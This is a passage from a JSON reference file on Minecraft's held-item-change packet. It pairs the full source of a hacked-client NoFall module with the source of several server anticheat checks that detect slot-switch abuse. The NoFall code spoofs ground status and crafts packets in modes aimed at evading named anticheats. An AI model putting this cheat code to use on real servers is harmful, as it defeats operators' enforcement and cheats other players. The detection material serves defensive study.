      "how_it_works": "When the fall would end without ground and a collision is found below, find water_bucket or web in the hotbar, send C09(index), place via sendUseItem or onPlayerRightClick, then send C09(current) back. The rest of the file is the onGround spoof family documented in the C03 impl.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/player/NoFall.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.player;\n\nimport me.AquaVit.liquidSense.modules.movement.Flight;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Speed;\nimport net.ccbluex.liquidbounce.features.module.modules.render.FreeCam;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.RotationUtils;\nimport net.ccbluex.liquidbounce.utils.VecRotation;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.utils.misc.FallingPlayer;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockLiquid;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemBucket;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.*;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n@ModuleInfo(name = \"NoFall\", description = \"Prevents you from taking fall damage.\", category = ModuleCategory.PLAYER)\npublic class NoFall extends Module {\n\n    public final ListValue modeValue = new ListValue(\"Mode\", new String[]{\"NewPacket\",\"SpoofGround\", \"NoGround\", \"Packet\", \"AAC\", \"LAAC\", \"AAC3.3.11\", \"AAC3.3.15\", \"Spartan\", \"CubeCraft\", \"Hypixel\",\"MLG\",\"AAC4.4.0\"}, \"SpoofGround\");\n    private float lastFall;\n    private int state;\n    private boolean jumped;\n    private final TickTimer spartanTimer = new TickTimer();\n    private final FloatValue minFallDistance = new FloatValue(\"MinMLGHeight\", 5F, 2F, 50F);\n    private final TickTimer mlgTimer = new TickTimer();\n    private VecRotation currentMlgRotation;\n    private int currentMlgItemIndex;\n    private BlockPos currentMlgBlock;\n    private int hypixel;\n    private List<Packet<?>> packets = new ArrayList<>();\n    private boolean fakelag = false;\n    public double fallDist = 0;\n    private boolean packetmodify = false;\n    Flight flight = (Flight) LiquidBounce.moduleManager.getModule(Flight.class);\n    Fly fly = (Fly) LiquidBounce.moduleManager.getModule(Fly.class);\n\n    private final BoolValue noSound = new BoolValue(\"NoSound\", true);\n\n    @Override\n    public void onEnable() {\n        if (modeValue.get().equalsIgnoreCase(\"AAC4.4.0\")) {\n            fakelag = false;\n            packetmodify = false;\n        }\n\n    }\n\n    @EventTarget(ignoreCondition = true)\n    public void onUpdate(UpdateEvent event) {\n        if(mc.thePlayer.onGround)\n            jumped = false;\n\n        if(mc.thePlayer.motionY > 0)\n            jumped = true;\n\n        if (!getState() || LiquidBounce.moduleManager.getModule(FreeCam.class).getState())\n            return;\n\n        if(BlockUtils.collideBlock(mc.thePlayer.getEntityBoundingBox(), block -> block instanceof BlockLiquid) ||\n                BlockUtils.collideBlock(new AxisAlignedBB(mc.thePlayer.getEntityBoundingBox().maxX, mc.thePlayer.getEntityBoundingBox().maxY, mc.thePlayer.getEntityBoundingBox().maxZ, mc.thePlayer.getEntityBoundingBox().minX, mc.thePlayer.getEntityBoundingBox().minY - 0.01D, mc.thePlayer.getEntityBoundingBox().minZ), block -> block instanceof BlockLiquid))\n            return;\n\n        switch(modeValue.get().toLowerCase()) {\n            case \"hypixel\":\n                if (fallDist > mc.thePlayer.fallDistance)\n                    fallDist = 0;\n\n                if (mc.thePlayer.motionY < 0 && mc.thePlayer.fallDistance > 2.124 && !checkVoid(mc.thePlayer) && isBlockUnder() && !mc.thePlayer.isSpectator() && !mc.thePlayer.capabilities.allowFlying) {\n                    double motionY = mc.thePlayer.motionY;\n                    double fallingDist = mc.thePlayer.fallDistance - fallDist;\n                    double realDist = fallingDist + -((motionY - 0.08D) * 0.9800000190734863D);\n                    if (realDist >= 3) {\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer(true));\n                        fallDist = mc.thePlayer.fallDistance;\n                        if(noSound.get()) mc.thePlayer.fallDistance = 0f;\n                    }\n                }\n                break;\n            case \"packet\":\n                if(mc.thePlayer.fallDistance > 2F)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer(true));\n                break;\n            case \"cubecraft\":\n                if(mc.thePlayer.fallDistance > 2F) {\n                    mc.thePlayer.onGround = false;\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));\n                }\n                break;\n            case \"aac\":\n                if(mc.thePlayer.fallDistance > 2F) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer(true));\n                    state = 2;\n                }else if(state == 2 && mc.thePlayer.fallDistance < 2) {\n                    mc.thePlayer.motionY = 0.1D;\n                    state = 3;\n                    return;\n                }\n\n                switch(state) {\n                    case 3:\n                        mc.thePlayer.motionY = 0.1D;\n                        state = 4;\n                        break;\n                    case 4:\n                        mc.thePlayer.motionY = 0.1D;\n                        state = 5;\n                        break;\n                    case 5:\n                        mc.thePlayer.motionY = 0.1D;\n                        state = 1;\n                        break;\n                }\n                break;\n            case \"laac\":\n                if(!jumped && mc.thePlayer.onGround && !mc.thePlayer.isOnLadder() && !mc.thePlayer.isInWater()\n                        && !mc.thePlayer.isInWeb)\n                    mc.thePlayer.motionY = -6;\n                break;\n            case \"aac3.3.11\":\n                if(mc.thePlayer.fallDistance > 2) {\n                    mc.thePlayer.motionX = mc.thePlayer.motionZ = 0;\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY - 10E-4D, mc.thePlayer.posZ, mc.thePlayer.onGround));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer(true));\n                }\n                break;\n            case \"aac3.3.15\":\n                if(mc.thePlayer.fallDistance > 2) {\n                    if(!mc.isIntegratedServerRunning())\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                                Double.NaN, mc.thePlayer.posZ, false));\n                    mc.thePlayer.fallDistance = -9999;\n                }\n                break;\n            case \"spartan\":\n                spartanTimer.update();\n\n                if(mc.thePlayer.fallDistance > 1.5 && spartanTimer.hasTimePassed(10)) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY + 10, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY - 10, mc.thePlayer.posZ, true));\n                    spartanTimer.reset();\n                }\n                break;\n            case \"newpacket\":\n                if (!MovementUtils.isOnGround(0.001)) {\n                    if (mc.thePlayer.motionY < -0.08)\n                        mc.thePlayer.fallDistance -= mc.thePlayer.motionY;\n                    if ((mc.thePlayer.fallDistance > 2F) && (!mc.thePlayer.onGround)) {\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer(true));\n                    }\n                } else\n                    mc.thePlayer.fallDistance = 0;\n                break;\n        }\n    }\n    @EventTarget\n    private void onMotionUpdate(MotionEvent event) {\n        if (modeValue.get().equalsIgnoreCase(\"NewPacket\")) {\n            if (mc.thePlayer.onGround) {\n                fallDist = 0;\n            } else if (mc.thePlayer.motionY < 0) {\n                fallDist -= mc.thePlayer.motionY;\n            }\n        }\n        if (modeValue.get().equalsIgnoreCase(\"AAC4.4.0\")) {\n            final EventState eventState = event.getEventState();\n            if (eventState == EventState.PRE) {\n                if (!inVoid()) {\n                    if (fakelag) {\n                        fakelag = false;\n                        if (packets.size() > 0) {\n                            for (Packet<?> packet : packets) {\n                                mc.thePlayer.sendQueue.addToSendQueue(packet);\n                            }\n                            packets.clear();\n                        }\n                    }\n                    return;\n                }\n                if (mc.thePlayer.onGround && fakelag) {\n                    fakelag = false;\n                    if (packets.size() > 0) {\n                        for (Packet<?> packet : packets) {\n                            mc.thePlayer.sendQueue.addToSendQueue(packet);\n                        }\n                        packets.clear();\n                    }\n                    return;\n                }\n                if (mc.thePlayer.fallDistance > 3 && fakelag) {\n                    packetmodify = true;\n                    mc.thePlayer.fallDistance = 0;\n                }\n                if (inAir(4.0, 1.0)) {\n                    return;\n                }\n                if (!fakelag) {\n                    fakelag = true;\n                }\n            }\n        }\n\n        if (modeValue.get().equalsIgnoreCase(\"MLG\")){\n            if (event.getEventState() == EventState.PRE) {\n                currentMlgRotation = null;\n                mlgTimer.update();\n\n                if (!mlgTimer.hasTimePassed(10))\n                    return;\n\n                if (mc.thePlayer.fallDistance > minFallDistance.get()) {\n                    FallingPlayer fallingPlayer = new FallingPlayer(\n                            mc.thePlayer.posX,\n                            mc.thePlayer.posY,\n                            mc.thePlayer.posZ,\n                            mc.thePlayer.motionX,\n                            mc.thePlayer.motionY,\n                            mc.thePlayer.motionZ,\n                            mc.thePlayer.rotationYaw,\n                            mc.thePlayer.moveStrafing,\n                            mc.thePlayer.moveForward\n                    );\n\n                    double maxDist = mc.playerController.getBlockReachDistance() + 1.5;\n\n                    FallingPlayer.CollisionResult collision = fallingPlayer.findCollision((int) Math.ceil((1.0 / mc.thePlayer.motionY) * (-maxDist)));\n\n                    if (collision == null)\n                        return;\n\n                    boolean ok = new Vec3(mc.thePlayer.posX, mc.thePlayer.posY + mc.thePlayer.eyeHeight, mc.thePlayer.posZ).distanceTo(new Vec3(collision.getPos()).addVector(0.5, 0.5, 0.5)) < mc.playerController.getBlockReachDistance() + Math.sqrt(0.75);\n\n                    if (mc.thePlayer.motionY < (collision.getPos().getY() + 1) - mc.thePlayer.posY) {\n                        ok = true;\n                    }\n\n                    if (!ok)\n                        return;\n\n                    int index = -1;\n\n                    for (int i = 36; i < 45; i++) {\n                        ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\n                        if (itemStack != null && (itemStack.getItem() == Items.water_bucket || itemStack.getItem() instanceof ItemBlock && ((ItemBlock) itemStack.getItem()).getBlock() == Blocks.web)) {\n                            index = i - 36;\n\n                            if (mc.thePlayer.inventory.currentItem == index)\n                                break;\n                        }\n                    }\n\n                    if (index == -1)\n                        return;\n\n                    currentMlgItemIndex = index;\n                    currentMlgBlock = collision.getPos();\n\n                    if (mc.thePlayer.inventory.currentItem != index) {\n                        mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(index));\n                    }\n\n                    currentMlgRotation = RotationUtils.faceBlock(collision.getPos());\n                    currentMlgRotation.getRotation().toPlayer(mc.thePlayer);\n                }\n            } else if (currentMlgRotation != null) {\n                ItemStack stack = mc.thePlayer.inventoryContainer.getSlot(currentMlgItemIndex + 36).getStack();\n\n                if (stack.getItem() instanceof ItemBucket) {\n                    mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, stack);\n                } else {\n                    Vec3i dirVec = EnumFacing.UP.getDirectionVec();\n\n                    if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, stack, currentMlgBlock, EnumFacing.UP, new Vec3(dirVec.getX() * 0.5, dirVec.getY() * 0.5, dirVec.getZ() * 0.5).add(new Vec3(currentMlgBlock)))) {\n                        mlgTimer.reset();\n                    }\n                }\n\n                if (mc.thePlayer.inventory.currentItem != currentMlgItemIndex)\n                    mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n            }\n        }\n\n\n    }\n\n    public static boolean isBlockUnder() {\n        if (mc.thePlayer.posY < 0.0D) {\n            return false;\n        } else {\n            int off = 0;\n\n            while(true) {\n                if (off >= (int)mc.thePlayer.posY + 2) {\n                    return false;\n                }\n\n                AxisAlignedBB bb = mc.thePlayer.getEntityBoundingBox().offset(0.0D, (double)(-off), 0.0D);\n                if (!mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty()) {\n                    return true;\n                }\n\n                off += 2;\n            }\n        }\n    }\n\n    public static int getJumpEffect() {\n        return mc.thePlayer.isPotionActive(Potion.jump)?mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1:0;\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n        final String mode = modeValue.get();\n\n        if (mode.equalsIgnoreCase(\"AAC4.4.0\")) {\n            if (packet instanceof C03PacketPlayer && fakelag) {\n                event.cancelEvent();\n                if (packetmodify) {\n                    ((C03PacketPlayer) packet).onGround = true;\n                    packetmodify = false;\n                }\n                packets.add(packet);\n            }\n        }\n\n        if(packet instanceof C03PacketPlayer && mode.equalsIgnoreCase(\"SpoofGround\")){\n            ((C03PacketPlayer) packet).onGround = true;\n        }\n\n\n        if(packet instanceof C03PacketPlayer && mode.equalsIgnoreCase(\"NoGround\")){\n            ((C03PacketPlayer) packet).onGround = true;\n        }\n    }\n\n    @EventTarget\n    public void onMove(MoveEvent event) {\n        if(BlockUtils.collideBlock(mc.thePlayer.getEntityBoundingBox(), block -> block instanceof BlockLiquid) || BlockUtils.collideBlock(new AxisAlignedBB(mc.thePlayer.getEntityBoundingBox().maxX, mc.thePlayer.getEntityBoundingBox().maxY, mc.thePlayer.getEntityBoundingBox().maxZ, mc.thePlayer.getEntityBoundingBox().minX, mc.thePlayer.getEntityBoundingBox().minY - 0.01D, mc.thePlayer.getEntityBoundingBox().minZ), block -> block instanceof BlockLiquid))\n            return;\n\n        if (modeValue.get().equalsIgnoreCase(\"laac\")) {\n            if (!jumped && !mc.thePlayer.onGround && !mc.thePlayer.isOnLadder() && !mc.thePlayer.isInWater() && !mc.thePlayer.isInWeb && mc.thePlayer.motionY < 0D) {\n                event.setX(0);\n                event.setZ(0);\n            }\n        }\n    }\n    public boolean inVoid() {\n        if (mc.thePlayer.posY < 0) {\n            return false;\n        }\n\n        for (int off = 0; off < mc.thePlayer.posY + 2; off += 2) {\n            AxisAlignedBB bb = new AxisAlignedBB(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.posX, off, mc.thePlayer.posZ);\n            if (!mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty()) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    private boolean isVoid(int X, int Z, EntityLivingBase entity){\n        Fly fly = (Fly) LiquidBounce.moduleManager.getModule(Fly.class);\n\n        if (fly.getState()) {\n            return false;\n        }\n        if (mc.thePlayer.posY < 0.0) {\n            return true;\n        }\n        for (int off = 0; off < entity.posY + 2; off += 2) {\n            AxisAlignedBB bb = entity.getEntityBoundingBox().offset(X,-off,Z);\n            if (mc.theWorld.getCollidingBoundingBoxes(entity, bb).isEmpty()) {\n                continue;\n            }\n            return false;\n        }\n        return true;\n    }\n\n    private boolean checkVoid(EntityLivingBase entity) {\n        for(int x = -1; x <= 0; ++x) {\n            for(int z = -1; z <= 0; ++z) {\n                if (this.isVoid(x, z, entity)) {\n                    return true;\n                }\n            }\n        }\n        return false;\n    }\n\n    public boolean inAir(double height, double plus) {\n        if (mc.thePlayer.posY < 0)\n            return false;\n        for (int off = 0; off < height; off += plus) {\n            AxisAlignedBB bb = new AxisAlignedBB(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.posX, mc.thePlayer.posY - off, mc.thePlayer.posZ);\n            if (!mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty()) {\n                return true;\n            }\n        }\n        return false;\n    }\n    @EventTarget(ignoreCondition = true)\n    public void onJump(final JumpEvent event) {\n        jumped = true;\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): The C09 usage is the MLG mode: when a fall would miss the ground, it finds a water bucket or web block in the hotbar, sends C09 to that slot, places it through sendUseItem or onPlayerRightClick, then sends C09 back. The rest of the file is the onGround spoof family shared with the C03 impl.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/player/NoFall.java",
      "vanilla_hook": "UpdateEvent; C09 via sendQueue.addToSendQueue.",
      "anti_cheat_notes": "The switch-place-restore is a single human-looking action sequence; the tell is the bucket appearing in the hotbar before the fall ends.",
      "variations": "Same file backs the C03 NoFall entry, where the onGround spoof modes are the primary behavior."
     }
    ],
    "general_hooks": "MotionEvent/UpdateEvent for the switch decision; PacketSendEvent in silent-switch modules to cancel C09 echoes; sendQueue/PacketUtil for the actual send.",
    "client_variations": "Tenacity uses addToSendQueueNoEvent to bypass its own event bus. Rise 5.99 uses PacketUtil.sendPacketWithoutEvent. Memeware/Sigma push raw packets to the send queue. Rise 6.x routes through PacketUtil.send and the Slot component, and its PingSpoofComponent parks C09 in the blink packet class list.",
    "related": [
     "S09PacketHeldItemChange",
     "S2FPacketSetSlot",
     "C08PacketPlayerBlockPlacement"
    ],
    "anticheat": {
     "overview": "The held item change packet reports the new hotbar slot. It is a thin packet, but it is the trigger for autotool, fastswitch and slot desync checks. Autotool modules switch to the best tool right before a block break or attack, so the switch timing relative to dig and use-entity packets is the signal. The slot value itself must be in range 0 to 8, and the change must match the server's view of the player's inventory, which makes out-of-range and repeated-identical-slot checks cheap and effective.",
     "checks": [
      {
       "name": "Fastswitch (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Flags hotbar switches that are faster than humanly possible while the player is in combat or using an item.",
       "how_it_works": "Listens to PlayerItemHeldEvent. It first allows scroll-like changes, adjacent slots or a 0 to 8 wrap, so fast scrolling is not flagged. If the switch is non-adjacent, TPS is at least 19, ping is below the max (default 400), the last switch happened within 50 ms, and the player did something combat- or item-related in the last 750 ms, it flags with +25 VL and cancels the event at 50 VL, otherwise syncing the inventory. Violation decays 25 per 120 seconds.",
       "detects": "Fastswitch and autotool modules that swap to a tool and act within the same tick.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/fastswitch/Fastswitch.java =====\npackage de.photon.anticheataddition.modules.checks.fastswitch;\n\nimport de.photon.anticheataddition.modules.ViolationModule;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.user.data.TimeKey;\nimport de.photon.anticheataddition.util.inventory.InventoryUtil;\nimport de.photon.anticheataddition.util.mathematics.MathUtil;\nimport de.photon.anticheataddition.util.minecraft.ping.PingProvider;\nimport de.photon.anticheataddition.util.minecraft.tps.TPSProvider;\nimport de.photon.anticheataddition.util.violationlevels.Flag;\nimport de.photon.anticheataddition.util.violationlevels.ViolationLevelManagement;\nimport de.photon.anticheataddition.util.violationlevels.ViolationManagement;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.player.PlayerItemHeldEvent;\n\npublic final class Fastswitch extends ViolationModule implements Listener\n{\n    public static final Fastswitch INSTANCE = new Fastswitch();\n\n    private final int cancelVl = loadInt(\".cancel_vl\", 50);\n    private final int maxPing = loadInt(\".max_ping\", 400);\n    private static final int MIN_SWITCH_DELAY = 50;\n\n    private Fastswitch()\n    {\n        super(\"Fastswitch\");\n    }\n\n    /**\n     * Used to acknowledge if somebody can be legit.\n     * I.e. that players can scroll very fast, but then the neighbor slot is always the one that gets called next.\n     */\n    private static boolean canBeLegit(final int oldSlot, final int newHeldItemSlot)\n    {\n        return (oldSlot == 0 && newHeldItemSlot == 8) ||\n               (oldSlot == 8 && newHeldItemSlot == 0) ||\n               MathUtil.absDiff(oldSlot, newHeldItemSlot) <= 1;\n    }\n\n    @EventHandler(ignoreCancelled = true)\n    public void onPlayerItemHeld(PlayerItemHeldEvent event)\n    {\n        final var user = User.getUser(event.getPlayer());\n        if (User.isUserInvalid(user, this) ||\n            // Tps are high enough\n            !TPSProvider.INSTANCE.atLeastTPS(19) ||\n            // Prevent the detection of scrolling\n            canBeLegit(event.getPreviousSlot(), event.getNewSlot())) return;\n\n        // Already switched in the given timeframe\n        if (user.getTimeMap().at(TimeKey.FASTSWITCH_HOTBAR_SWITCH).recentlyUpdated(MIN_SWITCH_DELAY) &&\n            // The ping is valid and in the borders that are set in the config.\n            PingProvider.INSTANCE.atMostMaxPing(user.getPlayer(), maxPing) &&\n            // User has done something except switching slots all the time.\n            (user.getTimeMap().at(TimeKey.COMBAT).recentlyUpdated(750) || user.getTimeMap().at(TimeKey.RIGHT_CLICK_ITEM_EVENT).recentlyUpdated(750)))\n        {\n            getManagement().flag(Flag.of(user)\n                                     .setAddedVl(25)\n                                     .setCancelAction(cancelVl, () -> event.setCancelled(true))\n                                     .setEventNotCancelledAction(() -> InventoryUtil.syncUpdateInventory(user.getPlayer())));\n        }\n\n        user.getTimeMap().at(TimeKey.FASTSWITCH_HOTBAR_SWITCH).update();\n    }\n\n    @Override\n    protected ViolationManagement createViolationManagement()\n    {\n        return ViolationLevelManagement.builder(this).loadThresholdsToManagement().withDecay(120, 25).build();\n    }\n}\n\n// NOTE (AI): Photon runs on the Bukkit PlayerItemHeldEvent, which fires from the same held-item packet the C09 carries.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/fastswitch/Fastswitch.java",
       "variations": "Intave ToolSwitchHeuristic flags slot changes within one tick of a block break; Kauri SlotChange flags repeated identical slot packets; BetterAnticheat ImpossibleSlotCheck only checks the slot range."
      },
      {
       "name": "SlotChange (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Flags client-held slot changes that repeat the same slot without a server-side slot change in between.",
       "how_it_works": "Two WActions: one on WrapperPlayClientHeldItemChange, one on WrapperPlayServerHeldItemChange. When the server sends a slot change, didServerSlot is set and the next client change is accepted as the echo. Otherwise a client change that equals the last slot increments a buffer that flags at 6 and decays by 3 on a legitimate change. This catches clients that spam the held-item packet to desync the server's hand tracking.",
       "detects": "Slot desync abuse and clients that replay held-item packets to confuse inventory tracking.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/packet/badpackets/SlotChange.java =====\npackage dev.brighten.ac.check.impl.packet.badpackets;\n\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerHeldItemChange;\nimport dev.brighten.ac.api.check.CheckType;\nimport dev.brighten.ac.check.Check;\nimport dev.brighten.ac.check.CheckData;\nimport dev.brighten.ac.check.WAction;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.utils.annotation.Bind;\n\n@CheckData(name = \"SlotChange\", checkId = \"slotchange\", description = \"Detects invalid slot changes.\", type = CheckType.BADPACKETS)\npublic class SlotChange extends Check {\n    public SlotChange(APlayer player) {\n        super(player);\n    }\n\n    private boolean didServerSlot = false;\n    private int lastSlot = -1, buffer;\n\n    private static final int BUFFER_MAX = 6;\n\n    @Bind\n    WAction<WrapperPlayClientHeldItemChange> heldItemSlot = packet -> {\n        if(didServerSlot) {\n            didServerSlot = false;\n            lastSlot = packet.getSlot();\n            return;\n        }\n\n        if(packet.getSlot() == lastSlot) {\n            if(++buffer > BUFFER_MAX) {\n                flag(\"Bad slot change detected at index %i\", packet.getSlot());\n            }\n            debug(\"Invalid slot change detected! Slot: %i, buffer: %i/%i\", packet.getSlot(), buffer, BUFFER_MAX);\n        } else if(buffer > 0) {\n            buffer = Math.max(buffer - 3, 0);\n        }\n    };\n\n    @Bind\n    WAction<WrapperPlayServerHeldItemChange> serverSlot = packet -> {\n        didServerSlot = true;\n    };\n}\n\n// NOTE (AI): The check listens to both the client and server held-item packets so a server-side forced switch is not mistaken for a repeated client change.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/packet/badpackets/SlotChange.java",
       "variations": "Grim BadPacketsY and BetterAnticheat ImpossibleSlotCheck only validate the range; Photon Fastswitch and Intave ToolSwitchHeuristic look at timing instead."
      },
      {
       "name": "ImpossibleSlotCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Fails any held item change whose slot is outside the hotbar range 0 to 8.",
       "how_it_works": "handleReceivePlayPacket matches HELD_ITEM_CHANGE, decodes WrapperPlayClientHeldItemChange and fails when the slot is below 0 or above 8. The comment notes those values are physically impossible to send from the vanilla client.",
       "detects": "Out-of-range slot packets from modified clients or crash attempts.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/misc/ImpossibleSlotCheck.java =====\npackage better.anticheat.core.check.impl.misc;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\n\n/**\n * This check looks for impossible slot values.\n */\n@CheckInfo(name = \"ImpossibleSlot\", category = \"misc\")\npublic class ImpossibleSlotCheck extends Check {\n\n    public ImpossibleSlotCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * Minecraft's hotbar slots are numbered 0-8 internally. Any value outside of these is physically impossible to\n         * send.\n         */\n\n        if (event.getPacketType() != PacketType.Play.Client.HELD_ITEM_CHANGE) return;\n        final WrapperPlayClientHeldItemChange wrapper = new WrapperPlayClientHeldItemChange(event);\n        final int slot = wrapper.getSlot();\n\n        if (slot < 0 || slot > 8) fail();\n    }\n}\n\n// NOTE (AI): The minimal form of the held-slot validity idea; no timing or inventory state is consulted.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/misc/ImpossibleSlotCheck.java",
       "variations": "Grim BadPacketsY is the same range check with packet cancellation; Kauri SlotChange and Photon Fastswitch check repetition and timing."
      },
      {
       "name": "BadPacketsY (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Cancels held item change packets carrying out-of-bounds slot ids before they reach the server.",
       "how_it_works": "PreViaPacketReceiveListener on HELD_ITEM_CHANGE: decodes the slot and, if it is greater than 8 or below 0, flags with the slot in the verbose data, cancels the packet and calls onPacketCancel so the inventory state stays coherent.",
       "detects": "Out-of-range slot ids from modified clients and crash attempts.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsY.java =====\npackage ac.grim.grimac.checks.impl.badpackets;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\n\n@CheckData(name = \"BadPacketsY\", stableKey = \"grim.badpackets.oob_slot\", description = \"Sent out of bounds slot id\")\npublic class BadPacketsY extends Check implements PreViaPacketReceiveListener {\n    private static final Verbose V = Verbose.of(\"slot={sint}\");\n\n    public BadPacketsY(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.HELD_ITEM_CHANGE) {\n            final int slot = new WrapperPlayClientHeldItemChange(event).getSlot();\n            if (slot > 8 || slot < 0) { // ban\n                if (flag(V.write(verbose()).sint(slot)) && shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): The pre-Via listener runs before protocol translation, which matters for ViaVersion rewrites of the held-item packet.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsY.java",
       "variations": "BetterAnticheat ImpossibleSlotCheck flags the same condition; Kauri SlotChange targets repeated in-range slots instead."
      },
      {
       "name": "ToolSwitchHeuristic (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Flags slot changes made within one tick of starting and stopping a block break, the autotool signature.",
       "how_it_works": "ClassicHeuristic subscribed to movement packets, which tick counters, BLOCK_DIG for break start and stop, and HELD_ITEM_SLOT_IN. If a slot change arrives within one tick after START_DESTROY_BLOCK and the player stops digging within one tick, the heuristic marks it suspicious and, when the switched slot equals the last one, accumulates a violation that flags at 4. Repeated offenses apply the DMG_LIGHT attack nerf.",
       "detects": "Autotool modules that swap to the correct tool exactly when breaking starts.",
